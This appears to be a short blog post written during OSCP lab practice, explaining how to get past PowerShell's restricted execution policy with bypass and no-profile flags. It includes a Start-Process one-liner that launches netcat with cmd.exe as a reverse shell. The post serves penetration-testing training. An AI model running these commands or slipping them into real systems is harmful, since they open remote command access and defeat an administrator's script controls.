Powershell For Penetration Testers Beating Restricted Policies

Powershell For Penetration Testers Beating Restricted Policies (nanobyte)

May 23, 2020 | nanobyte

Recently, while I was going for my Offensive Security Certified Professional (OSCP) certificate, I ran into a machine in the labs which had a restricted PowerShell. Simply stated, I could not enter into an interactive PowerShell session or run any PowerShell commands or scripts. PowerShell has several execution policies which can be set on a system, and these execution policies determines which scripts can be run. By default, this is set to “restricted”. From Microsoft, restricted “doesn’t load configuration files or run scripts. The default execution policy Windows client computers.”

However, there is an execution policy which, as penetration testers, we want to have set. That execution policy is “bypass”, which Microsoft states “nothing is blocked and there are no warnings or prompts.” Luckily, I am able to set the execution policy when I call a PowerShell command, and can state that the PowerShell command needs to run with bypass as the policy. Now, even though the default restricted policy is set, our commands will still run. To run a PowerShell command with bypass:

1powershell -ExecutionPolicy Bypass -Command "whoami"

Or, for shorthand:

1powershell -exec bypass -c "whoami"

Now, even though the system is restricted, PowerShell can still be leveraged! Let’s build on this and take it another step further. When you enter a PowerShell session or run a command or script, you run it in the context of the current profile. I could check the PowerShell profile and see what is set. But by running commands without checking this first, I do not know what the profile contains. Alternatively, for best practices, I can supply the No Profile flag which will run my script without using any profile:

1powershell -ExecutionPolicy Bypass -NoProfile -Command "whoami"

Or, another shorthand:

1powershell -exec bypass -nop -c "whoami"

With this, I can run commands from a restricted PowerShell enviornment without any profile loading. We are almost at the end goal, to spawn a new process on the system. Luckily, PowerShell has the built in Start-Process cmdlet (command-let). A cmdlet is a lightweight command that can be used within a PowerShell enviornment. There is most likely a cmdlet for anything you wish to accomplish in PowerShell. In my case, I wanted to start netcat for a reverse shell.

Start-Process is a powerful cmdlet, and to better understand it visit docs.microsoft. For my case, I needed to first define the program to spawn, followed by the arguments. Simply calling Start-Process nc -e cmd.exe <IP> <PORT> would fail here. To properly spawn this new process:

1powershell -exec bypass -nop -c "& {$prog='C:\\temp\\nc.exe'; $args='-e cmd.exe 443'; Start-Process $prog $args }"

Now, my command will call PowerShell with bypass as the execution policy, to run without any profile set, and run my Start-Process command, properly passing the $prog and $args variables. At this point, you might be asking, where did the ampersand come from? In PowerShell, the ampersand is a reserved character for a run call operator. This call operator is needed to force PowerShell to treat the text as a command and not a string, and execute it. For more information, please visit ss64.com.

And that is it, the above command will now spawn a new process, bypassing the restricted PowerShell execution policy to run my command!

Last updated